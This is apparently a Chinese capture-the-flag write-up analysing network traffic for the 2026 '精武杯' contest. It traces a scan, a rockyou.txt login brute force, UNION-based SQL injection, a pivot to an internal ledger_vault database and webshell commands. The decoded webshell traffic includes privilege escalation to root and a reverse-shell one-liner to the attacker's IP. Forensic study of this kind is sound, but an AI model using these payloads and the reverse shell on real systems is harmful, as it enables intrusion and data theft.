2026精武杯-流量分析"

admin 2026-10-22 13:02:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

2026精武杯-流量分析

原创

Jerry599
Jerry599

JerryXie的记录小站

2026年10月17日 11:18
上海

去阅读

前言

精武杯的时间是非常紧的,需要wireshark,同时要结合借助比wireshark更可视化的分析软件/工具,这里我使用了lovelyspark,也可以用其他软件代替。

我会根据做题的思路调整答题的顺序,我会写上原题的序号。

检材中出现了tlslog日志,这里需要把这个导入到lovelyspark当中

wireshark是在编辑%20→%20首选项%20→%20Protocols%20→%20TLS中把key文件替换掉

链路一:侦察与扫描 151.%20入侵者IP地址是什么?(答案格式:192.168.1.1)

结合webshell、命令执行等情况可以确认是198.51.100.73->10.23.4.20的攻击情况,所以攻击方是198.51.100.73

152.%20在本次入侵事件中作为最终落点被攻陷的主机%20IP%20地址是什么?(答案格式:192.168.1.1)

分析同上

10.23.4.20

153.%20在本次扫描事件中,目标主机开放了(响应%20SYN/ACK%20的)TCP%20端口总共有多少个?(答案格式:1)

用lovelyspark直接看

或者用wireshark搜tcp.flags.syn==1%20&&%20tcp.flags.ack==1%20&&%20ip.src==10.23.4.20%20&&%20ip.dst==198.51.100.73(tcp响应标志位+攻击方/被攻击方)

看会话统计

一共6个

链路二:登录爆破 154.%20爆破工具使用的字典是什么?(答案格式:tuojie.txt)

爆破这个一般是在猜测密码/用户名等情况下出现的,一般来说字典是一个\*.txt

可以直接在wireshark中走字符串.txt

rockyou.txt很明显是一个爆破字典,追踪一下http流

发现确实是针对登录页面的爆破

rockyou.txt

155.%20爆破请求的服务端统一返回的状态码是什么?(答案格式:1234)

上面那种图片已经有了 401

链路三:SQL注入与横向移动 题目有提及注入,以下是sql输入相关行为的解析:

注入一般猜测为sql注入

先可以定位一下sql注入的地方

只解析出来一个sql注入包,追踪之后发现其实也没啥%20响应头也是403,猜测这个sql注入不是明文的,可能存在加密/编码。

这个时候用查询语句,非明文注入是用的post,源/目的ip确认,语句如下:

(http.request.method%20contains%20\"POST\"%20and%20ip.dst%20==%2010.23.4.20%20and%20ip.src%20==%20198.51.100.73)

前面有大量的之前用rockyou爆破的包,拉到最后能看到其他几个包

追踪爆破完的一个包:

解码结果1')%20UNION%20SELECT%20database(),upload_route,service_user%20FROM%20archive_jobs--%20-

所以这个就是一个注入的包。

158.%20攻击者最终桥接到的目标数据库名是什么?(答案格式:abc\_123)

题目里面有提示了%20桥接,所以要去看桥接到的数据库;还是上面的那个包

assetledger

这是第一层的web层的数据库,要看内网的数据库

WebShell连接之后发现被控主机起了一个到内网的监听端口,所以就看被攻击机和内网机的流量了,首先筛选非攻击机之间的流量:(ip.addr%20==%2010.23.4.20%20and%20not%20(ip.dst%20==%20198.51.100.73))

然后按照上面的包的样式,猜测是一样的注入手法,所以包样式也应该差不多,直接搜索一下database

追踪一下:

发现这是一个类似的注入一个包%20而且出现在webshell包之后;解码一下ledger_key的内容,发现

仍然是一个sql注入,说明这是攻击者利用被攻击机作为跳板机对内网的服务器数据库进行的注入,所以目标数据库认为是ledger_vault。

同时发现下面的meta界面的mask=HMAC-SHA256(bridge_key,label);和一个next下一跳的url

这里可以注意一下,后面162线有用

156.%20注入参数是什么?(答案格式:abc\_123)

这道题应该放在这个位置,根据上面的分析来看答案就是ledger_key

157.%20注入端口是什么?(答案格式:666)

看该响应包的源端口,答案是9443

流量包中sql注入和跳板机利用行为

这块其实考的就是跳板/横向移动,我简单说一下我的理解。

先画个拓扑帮助理解,攻击者其实分了两步走:

攻击者%20198.51.100.73
 %20 %20│%20第①步:直接打%20web(SQL注入+传马)
 %20 %20▼
Web服务器%2010.23.4.20(被控,库叫%20assetledger)
 %20 %20│%20第②步:被控机主动去连内网(这就是\"桥\")
 %20 %20▼
analytics-b%2010.23.5.31:9443(内网服务,库叫%20ledger_vault)

analytics-b%20是内网服务,外网直接摸不到。攻陷%20web%20之后攻击者就借这台机器当跳板去访问它——web%20服务器就是中间那座\"桥\"。

验证一下:过滤 ip.addr==10.23.5.31%20&&%20tcp.flags.syn==1%20&&%20tcp.flags.ack==0,看%204%20个%20SYN%20的源%20IP——全是 10.23.4.20,攻击者%20IP%20一次都没出现过。这就是横向移动在流量里的样子:攻击者的手已经换成了受害主机。

再过滤 ip.addr==10.23.5.31%20&&%20http 就能看到桥上的请求和响应(要先配好%20keylog)。

桥上其实有两次注入,拿一个表对比一下:

第一次 第二次(桥上)
谁发的 攻击者直接发 被控的%2010.23.4.20%20发
接口 /api/reports/render /v5/ledger/query
参数 view_token ledger_key
语句 1')%20UNION%20SELECT%20database(),... 0%20UNION%20SELECT%20secret_ref,...FROM%20vault_routes
库名 assetledger ledger\_vault

第一次注入的 database() 就是问\"你现在连的是哪个库\"——答案是脚下的%20assetledger。第二次是穿过桥后在%20analytics-b%20那边执行的,拿到的%20ledger\_vault%20是桥另一头的库。

题目问\"最终桥接到的\"——\"桥接\"排了%20assetledger(直连就能拿到),\"最终\"排了第一次的结果,所以是%20ledger\_vault。

桥上的四对请求是一条链,每步的响应都带 next 指向下一步:

POST%20/v5/ledger/query%20 %20→%20{\"database\":\"ledger_vault\", \"next\":\"/v5/sync/234b…\",%20blob,%20label}
GET%20 /v5/sync/234b…%20 %20 %20→%20{\"next\":\"/v5/cache/448a…\",%20meta:\"seed=…公式…\"}
GET%20 /v5/cache/448a…%20 %20 →%20{\"blob\":\"hir_…\",%20meta:\"key=SHA256…;nonce=BLAKE2s…\"}
GET%20 /v5/export/c3818f…%20→%20{\"ciphertext\":96字节密文, \"tag\":…, \"aad\":\"node=…;port=9443;schema=5\"}

前两步有 next 指路,最后一步的%20export%20路径没有 next——是我们验证过的:攻击者自己算出来的(sha1(token) 前%2016%20位%20= c3818f4fa556cc3d)。

链路四:WebShell%20控制 159.%20攻击者上传的%20WebShell%20文件名(含扩展名)是什么?(答案格式:tuojie\_2026.jsp)

**avatar_20260918.php**

完整webshell包及解码

找到php相关的几个包(过滤之后追踪相关的包即可,前几个包追踪结果和后几个包不一样的,要多追踪几个)

POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2013

_task=aWQ&r=0%20 %20 %20<-%20id
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2071
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSk%20<-%20uid=33(www-data)%20gid=33(www-data)%20groups=33(www-data)
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2024

_task=c3VkbyAtbiAtbA&r=1%20<-%20sudo%20-n%20-l
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2038
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url

c3VkbzogYSBwYXNzd29yZCBpcyByZXF1aXJlZA%20<-%20sudo:%20a%20password%20is%20required
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2061

_task=Y3VybCAtayBodHRwczovLzEwLjIzLjUuMzE6OTQ0My9oZWFsdGg&r=2%20<-curl%20-k%20https://10.23.5.31:9443/health
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2023
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url

YW5hbHl0aWNzLWIgcmVhZHk%20<-%20analytics-b%20ready

POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%20134

_task=YXJjaGl2ZS1tYWludCAtLWVsZXZhdGUgLS1wcm9vZiAyOWYzOThlMzcyY2QzOWNhNmViYjMzMjdmNzUzODRlYzk1YTBlNGI5ZmIzZTc1YmEzMjhjOGI2NWY5MWE5MzIz%20<-%20archive-maint%20--elevate%20--proof%2029f398e372cd39ca6ebb3327f75384ec95a0e4b9fb3e75ba328c8b65f91a9323(这里就是在提权了)
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%2051
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0
X-Output-Encoding:%20base64url

dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk%20<-%20uid=0(root)%20gid=0(root)%20groups=0(root)%20(提权了)
POST%20/media/2026/09/.cache/avatar_20260918.php%20HTTP/1.1
Host:%20intranet.corp.local
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36
Accept:%20application/json,text/html;q=0.9,*/*;q=0.8
Connection:%20keep-alive
Content-Type:%20application/x-www-form-urlencoded
Content-Length:%2078

_task=YmFzaCAtYyAnYmFzaCAtaSA-JiAvZGV2L3RjcC8xOTguNTEuMTAwLjczLzQ5MTUyIDA-JjEn%20<-%20bash%20-c%20'bash%20-i%20>&%20/dev/tcp/198.51.100.73/49152%200>&1'(开反弹shell)
HTTP/1.1%20200%20OK
Server:%20nginx/1.26.2
Content-Type:%20text/plain
Content-Length:%208
Connection:%20keep-alive
Cache-Control:%20private,%20max-age=0

detached